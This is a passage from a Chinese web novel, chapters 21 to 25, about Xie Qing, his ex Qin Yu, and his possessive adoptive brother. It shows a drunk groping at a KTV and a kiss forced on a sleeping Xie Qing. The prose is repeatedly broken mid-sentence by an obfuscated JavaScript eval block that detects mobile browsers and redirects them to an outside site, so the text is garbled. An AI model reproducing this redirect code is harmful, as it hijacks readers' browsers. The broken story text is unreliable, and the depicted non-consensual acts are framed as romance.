如果视线能化为实质,秦屿的眼神现在就能把樊正切碎。 谢清早知道秦屿自称男朋友是骗人的,这下在樊正口中也得到了佐证。对秦屿更加不客气:“你也知道,我现在和你不熟,闪开,挡着我了。” 他是指失忆的事。 但秦屿显然是要装傻装到底了:“宝宝,别这么说,我知道我那天走得急,把你一个人留在医院,你生气了是不是?那天之后我一直在找你呢,你身体……可以喝酒吗?” 他暗示地看了眼谢清的肚子。 谢清怕他把那个丢人的事情当众讲出来,立刻拉住他的手臂往外走,回头对邱宁轩他们说:“我和他说几句话,你们先玩。” 邱宁轩当然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173530|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意见,笑脸相送。 等目送两尊大佛走出包厢,他才瞪着樊正:“不是,我说,你今天吃炮仗了?真让我见识什么叫贴脸开大了。你知不知道秦屿现在不比以前,不好得罪的啊?” 樊正冷哼:“我说的不是实情吗。” 邱宁轩:“一会儿人家俩和好了,你就里外不是人了。” 樊正:“和好?我看不像。” 包厢外面,谢清拉着秦屿走到没人的地方,才甩开手:“我告诉你啊,不准把那件事讲出去,那是个误会,已经搞清楚了,我什么都没怀,非常正常!” “是这样吗?原来是误会啊。”秦屿摸了摸谢清的肚子,“说起来是没怎么显怀呢。” “本来就没怀!”谢清拍掉他的手。 “是这次没怀,还是不能怀?” 谢清:“废话?!我不能怀!” “哦……”秦屿的语气居然有点遗憾,继而他试探着问,“宝宝,那你的记忆恢复了吗?” 谢清:“想起来了,我们早就分手了。” 秦屿脸色几经变幻,谢清才不管他,他带他出来就是要叮嘱不准把丢人的事讲出去的,话讲完了,他也准备回包厢里。 秦屿一把挽住他的手:“宝宝,再给我一点时间好不好,我……” 这时候走廊有个人从转角出现路过,秦屿慌忙松开手,发现那只是个陌生人后,才松了口气。 谢清看他像做贼一样,不禁露出怀疑的目光。 秦屿先是愧疚低头,过了一会儿突然重新拽住谢清:“宝宝,你根本就没有想起来吧?” “是又怎样?” 秦屿忍不住紧紧抱住了他:“我们是迫不得已才分手的,你答应过会等我,等我在秦家有更大的话语权,等我不用再受制于我父亲。” 谢清心念微微一动。 原来如此,从这个角度来说,他们两个的处境居然还挺像的。 秦屿一脸委屈:“宝宝你别回那个包厢了好不好,那些人都不是什么好东西,不值得深交,尤其那个樊正,我一看就知道他在想什么,脑子里肯定都是不干净的东西,你离他远一点!” 谢清被他抱着挣脱不开,感觉背上粘了个树袋熊一样,骂也没用,打也费劲。 他深吸了一口气,说:“秦屿,有一件事我是真的想起来过,你们家派人追杀过我吧?” “你说什么?!” 震惊之下,秦屿终于松开了谢清。 “我不管你是真不知道还是装的,反正失忆前我们就分手了,这个记忆告诉我,我们俩在一起肯定是不安全的,我真正该离远一点的人是你!就这样吧,别再来缠着我了。” 秦屿眼睛红了,站在原地手足无措。 眼看谢清推开了门,他还是冲了上去:“我再说最后一句就走……樊家的生意都不怎么干净,你千万别被他骗了,都是捞一笔就走的灰色产业链,别去给他当冤大头。” 谢清回头正视了他一眼。 樊正也在这时走了过来:“怎么啦谢少,遇到甩不掉的前男友了?” 秦屿皮笑肉不笑地看他一眼:“我是得叮嘱我老婆小心遇到甩不掉的癞蛤蟆。” “宝宝,记住啊,今天不要再喝酒了,我就在隔壁包厢,想回家的时候我送你,啊?” 樊正推上了包厢的门:“回什么家,夜生活才刚开始呢,是吧谢少。” 21. 第 21 章 谢清回包厢后吃了点东西,感觉酒劲过去了些,不过樊正今天仿佛铁了心要把他灌醉。 推杯换盏间谢清婉拒了那个所谓高收益项目的入伙,顺便又加了几个公子哥的联系方式。 宋岩打过来好几通电话,问他去哪儿了,提醒他早点回家,最后一通是樊正接起来的:“你是?哦,谢家保镖啊,放心,我们会照顾好他的。” 在宋岩沉声质问“你们是谁?”的时候,谢清皱着眉头抢回了手机:“别乱动我的东西。” 樊正摊手一笑,接着手就落在了谢清背上:“谢少,这是几?” 谢清拍掉他的手,按住了自己的太阳穴,头有些疼,他不知道自己醉的整张脸都红得像只熟了的虾子。 看了眼手机时间,摇摇晃晃起身:“不玩了,我要走了。” 邱宁轩在和几个人玩骰子,闻言立马挽留:“别呀谢少,我们刚还赌了你今天会不会看上……”他的嘴被朋友捂住了:“哈哈别听这孙子胡说,他喝大了!” 樊正的手从谢清后背缓缓往下滑,见谢清没反应,不由大胆了些,凑到他耳边说:“你好瘦啊,脊椎这么明显,在家被你哥虐待了吗?” “你哥”两个字唤醒了谢清的一点意志,他继续找门:“该回家了,不然哥哥又要生气了……唔,别拽我!” “别走嘛谢清。”灯光昏暗,樊正直接将谢清按倒,压在了沙发上,他凑在谢清耳朵边上说了句什么。 周围的人都见他们俩姿势暧昧,还没来得及起哄,事故就在一瞬间发生了。只见谢清抄起茶几上的酒瓶用力一掼,不偏不倚砸在了樊正后脑勺。 玻璃酒瓶碎裂的声音使得全场安静下来,樊正反手摸了把脑袋,低头一看,粘稠的液体,红的。 谢清摇晃着起身,冲他说了句:“你也配?” 接着调头就走。 这次没人敢再开口挽留,樊正也踉跄着站稳,阴沉布满整张脸,盯着谢清走出去的背影,眼眶充血发红。 邱宁轩率先从恐慌中回神:“樊正,血……你流血了!快快快打120!” 出了ktv,谢清抬手拦了辆出租,一上车就趴在了后座。 司机高声催问了好几遍去哪儿。 就在司机不耐烦了想把他赶下车时,樊正从ktv追了出来,他脑袋后面的伤口都没有包扎,一路淌着血,气势汹汹朝着谢清而来。 邱宁轩和几个公子哥纷纷追在后头:“樊正,冷静点!冷静点!” 樊正走到出租车跟前踹了两脚车门,谢清感觉手臂被人拉住,扯着他起身,刚扯到半截那人又松手了。 他一回头,就看到秦屿和樊正打了起来。 秦屿心里惦记谢清,回去以后找借口打发了生意伙伴,一直守在大堂等谢清。 直至谢清出来,他就也跟在后头出来了,看到樊正敢动手动脚,想也不想一拳就揍了上去。 “别再纠缠我老婆了,要我再说一次?” “你老婆?你看这小婊子认吗?少他妈自作多情!” “你叫他什么?” 两个人扭打在一起,邱宁轩看的是心惊胆战,不停在一边劝架:“樊正!秦少!哎哟别打了我说哎!” 救护车响着铃来到了ktv门口,邱宁轩冲过去说是自己打的电话,恳求医护人员帮忙拉架。 谢清冷眼瞧着闹剧,拍了拍司机的车后座:“别看了,走不走啊?”他报了个地址,却并不是谢宅,而是一栋教职工家属楼。 出租车开出去,架总算也拉开了,邱宁轩拼命在樊正耳边劝:“够了够了!秦家咱们得罪不起!” 秦屿见谢清就那么走了,追在车后面跑了几步,也抬手拦下一辆车,跟了出去。 谢清的手机已经快被打爆了,他不耐烦地关机,摇下车窗让冷风吹着自己。 车开到目的地时,谢清自觉已经酒醒,拉门下车,差点摔到在地上。 秦屿从后面冲过来扶了他一把,被甩开。司机喊谢清:“喂!帅哥!没给钱!” 秦屿:“我来。” 伸进去扫码时,他瞄见谢清把自己的手机都落在了后座,赶紧替他拾了起来。 秦屿三步并作两步追上谢清,然后就亦步亦趋跟在他后头,只敢在他摇晃时快速扶一下,再快速撤开。 “宝宝你是不是报错地址了?这里不是你回家的路。” 谢清蓦地站住,回头瞪他:“你有完没完?还打算跟多久?” “我送你安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢清一头冷汗,扭头就把秦屿推了出去:“老师,我、我哥也在?” 22. 第 22 章 柴友梅跑过来一看:“噢,你哥落了东西在这儿啊?正好你给他带回去吧。他今天下班后是来过一趟的。” 老师说这话的时候眼神竟然有点飘忽,是心虚的表现。秦屿心中起疑,但谢清本来醉酒就有点眼花,根本没观察到。 听说他哥并不在,大大松了口气,这才重新往家里钻。 “我才不带给他,扔了吧。老师,今天让我住下来好不好啊?我不想回家!” “好好好,当然好,我这就让你师公收拾书房,老韩——快点啊磨磨蹭蹭的,出来给客人泡茶!” “马上,我换个衣服哈,小清你先自己坐——”老韩的声音从卧室里传出来。 秦屿帮忙收拾客厅的茶几,柴友梅赶紧拦他:“哎呀小秦,不好意思家里有点乱,没事不用你帮忙收拾,你是客人,快坐。你今天也一起留下睡吗?家里有点小,不要介意啊。” “不介意不介意!” 谢清暗中掐他:“他不留宿,他回自己家。秦屿,我老师家没有客房,就书房一张折叠床,你没地方睡。” 秦屿:“宝宝,我可以打地铺的。” 柴友梅:“打地铺哪儿行啊!没关系,我让你师公把主卧腾出来给你们两个,我睡书房,他自己回学校宿舍睡去!” 谢清赶紧说:“不用不用,我们不睡主卧!他……”看秦屿这死皮赖脸的样子,让他滚回去是不可能了,谢清只好说,“他打地铺就行了,他就爱睡地上。” 秦屿:“对对,地上凉快,还能防止老婆半夜摔下来,他喝多了睡觉很不老实。” 三人就这个话题扯来扯去的,最后柴友梅无奈妥协了。 男主人很快也从卧室出来了,匆匆忙忙去餐厅泡茶,秦屿赶紧过去帮忙。 夫妻俩一致又把他按回了客厅坐下。 “小清啊,你这男朋友太有礼貌了,长得也是一表人才。” 秦屿:“谢谢老师夸奖。” 谢清悄悄白他一眼:“我看他油嘴滑舌的很。” 秦屿笑而不语,由谢清说。他坐在客厅暗中打量了房子一圈,这家人似乎就只有夫妻俩,房子面积也不大,四个人挤在客厅里实在捉襟见肘,不过麻雀虽小肝胆俱全,布置很温馨。 以前谈恋爱的时候,谢清已经离开了谢家,秦屿记得自己问过谢清,除了谢宅还有没有容身之所,谢清当时说:“有一个难过了就会去留宿的家,可是谢呈冰也知道那里,所以是藏不了的。” 他今天是难过了吗?因为什么呢?秦屿看向谢清的侧脸。 谢清抱着柴友梅的胳膊在撒娇,两人如同母子俩一样。柴友梅显然也敏锐地察觉到了谢清情绪不好,问他:“是不是和你哥吵架啦?” 谢清把脸埋在老师胳膊上沉默,良久,竟然低声啜泣起来:“不是吵架,比吵架还严重!他——我把他当亲哥的!他根本不把我当亲弟弟!” 醉酒加难过,谢清全然忘了场合,越说哭得越凶,到后来就是嚎啕着控诉谢呈冰。 “我真不敢想起来一年前发生了什么,我怕呀!我从来不是野心勃勃的人,我才没想过要和他争什么,可是、可是我失忆前竟然选择了要争,一定是被逼的,老师你说,他拿什么逼我的?他怎么这样啊!” 秦屿在一旁听了也连连皱眉。他握住谢清的手:“宝宝别哭了,还有我呢,没有人可以伤害你。” 柴友梅听了这话却好像不太高兴,看了秦屿一眼,轻轻拍打谢清的后背:“傻孩子,小冰怎么会害你?这一定是误会啊。” 秦屿忍不住说:“老师你确定?去年谢清离家出走,不就是因为谢呈冰吗。人人都知道是谢家遗产让他不顾——” 柴友梅打断:“小秦,看在你是小清男朋友的份上我不跟你生气,请你不要胡乱揣测。” 她继续安慰谢清:“小清啊,你说你失忆了,那现在想起来多少了?” 谢清根本没在听外界说什么,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173532|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自顾自的宣泄情绪,有些话他清醒的时候肯定也不会说出来,柴友梅问也问不到什么,只好对丈夫说:“去,先把书房收拾出来,让小清睡觉吧,明天醒来再说。我给小冰打个电话报平安。” 秦屿跟着站起来:“抱歉柴老师,刚才是我失言了,您不要生气。我想给谢清煮点醒酒汤,可以借用厨房吗?” 柴友梅神色稍缓:“用吧,好孩子。” 秦屿点点头,又说:“老师如果打电话给谢呈冰,可以不要告诉他我也在吗?主要是我和谢清还没有正式见过他哥哥,想找更合适的时机认识。” 柴友梅犹豫了一下,同意了。 老韩去书房把折叠床打开铺好,又连哄带骗的把谢清哄到床上,谢清哭也哭累了,沾着枕头就乖乖闭上了眼睛。 柴友梅进卧室的阳台给谢呈冰打去了电话:“小冰,你说实话,是不是欺负你弟弟了?” 谢呈冰一听就问:“谢清在你家?” “是啊,喝多了酒,哭得厉害,一直说你欺负他。” 谢呈冰呼吸一滞:“他……想起什么了?” “没有,都是醉话。想起来了也不可能心无芥蒂来我家了,哎,小冰,老师当初就没有过问你们之间发生了什么,是相信你们可以解决好。没想到那一年里,小清连我和老韩都不愿见了。今天下午那会儿听你说他回家了,失忆了,我是又难受,又……又觉得这样也好。可他现在这个样子,真是……” 柴友梅说着说着,自己也有点哽咽:“老师和你说句心里话,小清是个好孩子,你不能因为他不是你亲弟弟就……” “老师。”谢呈冰低声打断,“没有那回事。我爱他。” 柴友梅怔了一下。 谢呈冰:“我现在过来接他回家。” “哎等等,小清都在我家睡下了,就让他住一晚上吧,有什么事明天再解决。” 隔了一会儿,谢呈冰说:“那我现在来看看他。” 23. 第 23 章 秦屿煮好了醒酒汤,端来书房后,礼貌地和男主人点了点头:“韩叔叔,我来照顾他吧,您快点去休息吧。” 老韩指着地上铺好的地铺:“那个,今天晚上就委屈你了啊小秦,要是睡得不舒服你就喊我。” “没事我怎么都行的,谢谢叔叔。” 老韩退出房间,帮他俩把门也关上了。 秦屿蹲下来戳了戳谢清红扑扑的脸,感觉心里软软的:“宝宝,睡着了吗?” 谢清“唔”了一声。 秦屿笑了,把他抱起来:“喝点醒酒汤再睡吧,不然明天早上会头疼的。” 谢清乖乖躺在他臂弯里,喂一口喝一口,听话的不像样。秦屿忍不住在他脸上咬了一口:“老婆,我的。” 喂完醒酒汤,他脱了鞋子翻身上床,窄小的折叠床“吱嘎”一声,谢清不满地哼哼:“干嘛呀?你睡地上去。” 秦屿:“我给你按摩一下就下去,怕你醒来不舒服。” 谢清就着熏黄的床头台灯看了秦屿一眼,看见他柔和的轮廓,笑的很温暖,仿佛以前他也一直是这么照顾的,习以为常了。 谢清哼哼唧唧地扭动几下,换了个舒服的姿势,默认了。 秦屿按摩的手法像是学过的,很专业,也的确很管用,谢清感觉头疼都减轻了。 他的眼睛还有点肿,意识比刚进门清醒好多,呆呆放空了一会儿,好奇问了句:“我们是怎么认识的?” 秦屿:“你勾引我大哥未遂,勾引到了我。” 谢清:“……” 谢清:“放屁!” 秦屿:“是真的,那天你雇了两个流浪汉在我哥的必经之路抢你的包,然后你拦在我哥的车前面问他能不能帮你追回来,我哥看都没看你,就让保镖把你赶走了,是我帮你追回来的。” 谢清:“……” 他翻了个身,用膝盖抵开秦屿:“我有病吗,勾引你哥干嘛?我不可能喜欢他那种人。” 秦家大少爷秦霄,谢清以前听谢父提过他几次,夸他商业嗅觉灵敏,谢清随手在网上一查,他在科技领域的研发项目导致许多工人下岗失业,他本人的回应还特别的没有人情味,完全就是个精致利己的特权阶级,冷血资本家。 谢清讨厌这样的人。 秦屿却信誓旦旦:“骗人是小狗。” 谢清:“那你又怎么知道流浪汉是我雇的,就不能我真的被抢了?” 秦屿:“是你自己告诉我的呀,我帮你拿回来以后你叫我滚,还当着我的面和那两个流浪汉讨价还价,说是没有达成目的,不应该给钱,他们说可以换个时间再来一次。” 谢清默默翻身趴了回去,小声嘀咕:“我混的那么惨?” 秦屿还美滋滋:“所以我们认识是特别的缘分,你一直都用最真实的一面接触我,从来不是抱着目的性和我交往的,我这么和家里人说,他们还不信。嘿嘿,幸好大哥没看上你。” 谢清无语死了。 “我怎么会看上你这种蠢货?” “别这么说嘛宝宝,我会做饭会洗衣服会按摩,你说你可喜欢我了。” 谢清:“往上一点,你手往哪儿摸呢。” “对不起宝宝,你屁股好软我忍不住。” 谢清叹了口气。秦屿说的可能是真的,他刚才依稀想起来一点,一开始他应该不知道秦屿也是秦家人,交往也许是真的喜欢,和想抱连忆心大腿那种的不一样。 他脑海里闪过了和秦屿确认关系那天的景象,在他自己的临时出租屋里,他左看右看的有点拘束,秦屿问:“在找什么?” 他小声说:“找找有什么拿得出手,来招待你。好像没有找到。” 秦屿起身,从后面搂住了他的腰:“……你就是最好的招待。” 土死了! 谢清拿枕头盖住头:“下去下去,不按了,我想睡觉了。” 秦屿依依不舍:“好吧。”他慢腾腾地帮谢清捋平衣角,手一路流连着从他身上离开,翻身下床,“宝宝,你睡得着吗?” “睡得着!” “好吧……”这里毕竟是在别人家,秦屿遗憾地坐到地铺上,“宝宝晚安。” 一个小时后,谢呈冰绕城大半圈赶到了柴友梅家楼下。 柴友梅在电话里就劝他明天再来了,没想到劝不住,人还是一晚上都不肯多等。 她给谢呈冰开门的时候预警:“那个,小清还带了男朋友来,都已经睡下了,你就在门口看一眼就走吧。” 谢呈冰眼神蓦地冷下去:“男朋友?” 柴友梅:“你还真的不知道啊?那你继续装不知道吧,小清肯和你说了再说。” 谢呈冰捏着拳头在门口站了一会儿,才迈着沉重的脚步往里走。 “老师,你去睡吧,我看一眼就走了。” 柴友梅拍了拍他的胳膊:“有什么误会,一定要早点解开。” “嗯。” 柴友梅见他不想多说话,点点头自己进厨房泡茶,给他留下独自的空间。 谢呈冰眼神森冷,手搭在书房的门把手上一转,带着冷峭的杀气。门开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173533|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条缝,他先是看见了睡在床上的谢清,还没来得及缓和神色,紧接着就看到了地上躺着的男人。 秦屿在门外有动静时就睁眼了,此刻他坐了起来,与谢呈冰有了一个对视,胆子差点被吓破。 他不是胆小的人,只不过谢呈冰眼神恨意太浓,让他以为是什么含恨的野鬼,分分钟就要上来索命。 两个人默契的没有发出声音,怕吵醒谢清。 秦屿出了书房,谢呈冰冷森森地说:“下楼。” 到了楼下,秦屿防备地盯着谢呈冰:“你就是谢清的哥哥吧?”他没见过谢呈冰,不过在网上见过他的脸,结合他对自己的态度,很快就认出来了。 “怎么了,你弟弟在外过个夜,都要来查岗?你把自己当什么人?” 谢呈冰没像他想的那样冲上来打他,看来还有理智可言。只不过他就一直盯着秦屿,也不说话。 秦屿想他毕竟是谢清名义上的哥哥,便主动放缓了语气:“哥,我和老婆……” “别乱认哥,你自己的哥死了?”谢呈冰眼神凛冽,“更别乱认老婆,离谢清远点,别再在他面前出现。” 秦屿火气上来了:“我和他谈恋爱,你管得着吗?” 谢呈冰像看一个死人一样看了他一眼,不和他多说,直接拿起电话拨了出去。 秦屿狐疑地看着他,直到听见谢呈冰说:“秦霄先生?听说你弟弟最近在和你竞争家族产业,是秦老先生默许的。呵呵,别误会,我不是看笑话,只是来给你提供一个内幕,秦老先生让他入局的条件是不准他再见他前男友。现在他就和前男友在一起,似乎还想复合。” “操!”秦屿上前抢电话,被谢呈冰侧身躲了过去。 谢呈冰:“我说错了?” 秦屿恨得牙痒痒:“拆散我和你弟弟对你有什么好处?你要是真心对你弟好,就不该这么独裁!还是说,你果然就是想害他?装都不装了?” 谢呈冰:“一个保护不了他的人有什么资格声讨我,等你打败你哥,再来和我说话不迟。” “谢呈冰!你……你等着好了!” 秦屿咬牙切齿,他低估了谢清他哥的无耻程度。为长久计,他现在不得不离开,不能落把柄在秦霄手上,那样就功亏一篑。 家里不同意他和谢清在一起,他必须打败秦霄赢下赌局才行。 秦屿仰头看了眼六楼,又狠狠瞪了谢呈冰一眼,故意撞开他的肩匆匆走了。 谢呈冰面无表情地掸了下肩头,如掸去不值一提的灰尘,一步一步走回家属楼。 24. 第 24 章 谢清睡得正酣,对楼下发生的一切一无所知。 谢呈冰打开书房门,带回来一阵穿堂风。他站在弟弟床前静静看了会儿,轻轻撩起被子,捉出谢清的手。 谢清长了双养尊处优的手,白净无茧,指甲修的圆润,捏起来软绵绵的,他从小就喜欢牵,牵着心情就会变好。 就像现在,捏了会儿,戾气消散了不少。 他把每根指节都慢慢摸了一遍,才塞回被子里,视线转移到了谢清脸上。 看起来,今天是哭得很凶,现在都还有点肿。 亲亲就好了。 谢呈冰俯下身,嘴唇快要碰到谢清眼皮时停了下来,不知道在等什么,呼吸就静静喷洒在谢清脸上。过了会儿,他伸出舌尖,轻舔了一下谢清的眼皮。 谢清没反应,于是他一点点往下,在鼻尖上也快速啄了下,来到嘴唇上方。 谢清的唇形很流畅,唇珠弧度好看,让人忍不住想尝尝味道。 谢呈冰把嘴唇印了上去,很轻的一下。 还是没反应,那就是不抗拒。谢呈冰心里这么想着,又亲了一下。 在他下一步想要探入舌尖时,谢清终于动了,微微翻了下身,嘴巴里小声嘀咕:“秦屿……老实点……” 谢呈冰缓缓站直了身体,眼底只剩下一片冰凉。 书房的门被人轻轻推开,柴友梅探头进来,她终究不放心:“小冰?我听见有人出去,咦,小秦走了吗?” 谢呈冰退出房间:“嗯,我也走了。老师,今晚打扰了,明天早上我再来接谢清,别告诉他我今晚来过。” 柴友梅看谢呈冰脸色不好,有点担心:“不然你也留下来过夜吧?这么晚了。” 谢呈冰摇摇头:“不了,老师再见。” 第二天谢清醒来,柴友梅给他弄了一桌子早饭。 “小清啊,要不要再多住几天?反正现在是暑假嘛,我和你师公闲着呢。” 谢清揉着眼睛,慢慢想起昨天在客厅撒泼的事,有些不好意思:“老师,昨晚吵着你们了,真对不起。” “没事没事,你有心事随时都可以和老师说啊。” 谢清抱了柴友梅一下。 吃过早饭,柴友梅说他哥应该会来接他。谢清一听,想说还是自己先赶回家吧。结果一下楼就在门口看见了谢呈冰的车。哥哥人也坐在车上,平静看着他。 他硬着头皮走过去:“哥,来了多久了?怎么没给我打电话。” 他不知道谢呈冰其实一晚上没回去。 谢呈冰:“上车。” 一路上谢清忐忑不安,想着谢呈冰回家会怎么教训他。谢父在的时候,他们家谁犯错都是会挨打的,谢呈冰如果发脾气不知道会不会和爸爸一样。 没想到谢呈冰始终没过问他昨晚为什么不回家,他想的借口全都没用上,但与此同时也松了一口气。 很快谢清就认识到这口气是松早了。 谢呈冰今天请了假没有去公司,就一直跟着他,吃饭喝水去厕所都跟着,什么话也不说,谢清头皮发麻,主动认错:“哥,我不出去了,我真的不溜出去了,你不用一直看着我。” 谢呈冰:“可以出去。” “什么?”谢清不太相信,“真的吗?” “嗯,你想去哪儿,我都陪你。” 谢清正琢磨着该怎么办,手机就响了起来,是昨天在Ktv加的其中一个,他释放了想做点生意的信号,让他们有好事也带带他,没想到今天就联络了。 可是当着谢呈冰的面谢清不好谈那些,只好滑断了。 谢呈冰:“谁?秦屿吗?” 谢清皱眉:“提他干嘛。”说起秦屿他还生气呢,昨天晚上竟然一声不吭就走了。 虽说是他总叫人滚,但看在秦屿挺会照顾人的份上,他不也默认秦屿住下来了吗,而且还想起了一些旧事,好不容易生出来的一点好感,在早上看到空荡荡的地铺时跑干净了。 哥哥突然提起秦屿,果然是柴老师告诉他了? 谢清想了想还是解释:“哥,不知道柴老师怎么介绍的,昨天晚上遇到他就是个偶然。” “你们复合了?”谢呈冰问。 “怎么可能!我连谈过恋爱的记忆都没有。”其实想起来一点点。 谢呈冰点点头,谢清就以为这事过去了。 他回卧室找了本漫画,趴在地毯上看。谢呈冰还是不走,杵在边上,好像跟定他了。 过了十几分钟,谢呈冰突然没来由地又问:“你为什么喜欢秦屿?” 他哥是不是和秦屿有什么过节啊?这么耿耿于怀。谢清:“谁喜欢他了?” “他是你交的第一个男朋友。” “……”谢清揉了揉眉心,随口说,“大概是他温柔吧。” “我不够温柔吗?” 谢清失笑:“你跟他比什么,你是我哥啊。” 谢呈冰抽出他手里的漫画书,认真地看着他:“有哥哥就够了对吗?” “什么?” “有哥哥,就不用男朋友了吧。” 谢清站起来去抢漫画书:“那怎么能一样啊。” 谢呈冰把书背在身后,眼神一直追着弟弟:“怎么不一样?” 谢清最受不了他哥轴的样子,轴起来说什么都没用,他看谢呈冰问的一本正经,故意搞怪地笑了笑:“哥哥难道能满足我的生理欲望?” 本来只是想看哥哥惊慌失措的样子。没想到谢呈冰毫不犹豫:“能。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173534|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 惊慌失措的人成了谢清。 他抓到了漫画书,人也贴在了谢呈冰身上,哥哥的手揽住他的后背,说话时都能感受到胸腔微微震动。 谢清书也不要了,匆忙退了开:“哥你这人真是……逗你最没意思了。” 他扑到床上,抓起手机选择打游戏,背对着谢呈冰,摆出送客的姿态。 可谢呈冰还是不走,他把电脑搬来谢清身边工作。 谢清烦透了,故意弄得特别大的动静表示抗议。可惜他哥不为所动。 手机进了短信,连续“叮叮”好几声。谢清低头一看,这次还真是秦屿。 秦屿:【宝宝,昨晚我家里人来抓我了,才不得不提前走了,你没有生气吧?】 【早上起来头没有疼吧?下次我不在的时候千万不要再喝那么多了,多危险啊,那么多变态盯着你。】 【宝宝,我好想你啊,想亲亲抱抱。你呢?想我吗?】 谢清盯着备注“老公”两个字,屏幕里倒映出他无语的表情。肯定是秦屿昨晚趁他睡着自己编辑的。 他刚想把人拉黑,最新一条短信进来了:【宝宝,你是不是想做生意?昨晚那些人没一个靠谱的,你不要和他们上一条船。我给你介绍一个靠谱的合伙人,你跟着他干,他是我一个学弟,知根知底的,不会坑你,也不会让我家和你哥发现。】 接着秦屿二话不说给他转了二十万启动资金。 谢清没想到他这么上心,手指停在秦屿的号码上。 谢呈冰:“这次是谁?” 谢清快速把聊天记录删光:“不告诉你。” 谢呈冰放下电脑走了过来,直接动手去抢谢清手机,谢清气恼:“哥你干什么啊!你把我当什么了!” “是宋岩?还是连忆心?还是你昨天晚上在KTV认识的新男友?” “你在说什么?!”谢清不可置信地看着他哥,“你知道自己在说什么吗?” 为什么连KTV的事他哥也知道了?而且,什么叫新男友??他哥觉得他是那种随便交男朋友的人吗?! 谢呈冰手劲大,没两下就把手机抢了过来,发现谢清已经把消息删除了,竟然还打电话给技术人员,让对方给他恢复聊天记录。 谢清本以为谢呈冰是说笑的,直到技术人员真的上门了。 青年背着学生款式的书包,戴着厚重的黑框眼镜,局促地看着自己的老板:“谢总……我来了……” 谢呈冰把手机递给他:“就在这处理,我看着。” 谢清怒喊了一声他哥的大名。见他哥面无表情,就指着那个技术人员:“你走,别理他。” 青年瑟瑟发抖,看看老板,看看老板弟弟,只恨今天没拿拉肚子当借口。 25. 第 25 章 谢清夺过手机摔到了地上,谢呈冰:“冷静点。” 到底是谁不冷静?谢清气得手发抖,问那个眼镜青年:“你有兄弟姐妹吗?” 技术人员期期艾艾地点了下头:“有、有个妹妹……” “你会查你妹的手机吗?你妹查你的吗?你们兄妹平时形影不离吗?你会要求你妹不离开自己半米吗?”谢清指着谢呈冰,“你说,你老板是不是有病,是不是变态,是不是需要去治治脑子!” 技术人员心如死灰地抱住了头:“我我我不知道……” “怕什么?他是你老板,又不是奴隶主,怕听到了家丑他会开除你吗?是他自己叫你来的,不是吗!” 谢清也知道冲着一个无辜员工发脾气很不讲道理,也没有用,但即便是现在他都这样激动了,谢呈冰居然还一语不发地站在那里。 谢清推了青年一把:“走走走,回你的工位上班去。” 青年都快哭出来了。 谢呈冰终于发话了:“你回去吧。” 他走到弟弟面前,替对方整理了一下歪掉了睡衣领子:“我不查了,就当什么都没有吧,不气了好吗?” “本来就什么都没有!” 谢清打开他的手,自顾自冲进了浴室,把门紧紧从里面反锁。 谢呈冰送走技术人员,站到浴室门口耐心地敲门:“有没有带换洗的内裤?水温自己调的好吗?” 谢清抓起沐浴乳砸到了门上进行抗议。 谢呈冰:“快点出来,别洗太久。” 谢清放满一浴缸的水,把头埋进水里闭气,憋了一分多钟才出来,感觉火气下去不少。 比起生气,更多的是害怕。 哥哥到底什么时候变成了这个样子?让他感觉窒息。 他要快点脱离哥哥,搬出去住。 从浴室出来的时候,谢呈冰已经不在他卧室了。这次发的脾气似乎很有用,谢清把手机从地上捡起来,检查摔坏了没有。 还能用,但是由于信息被他删光了,他还没来得及记下来秦屿介绍的合伙人的联系方式。 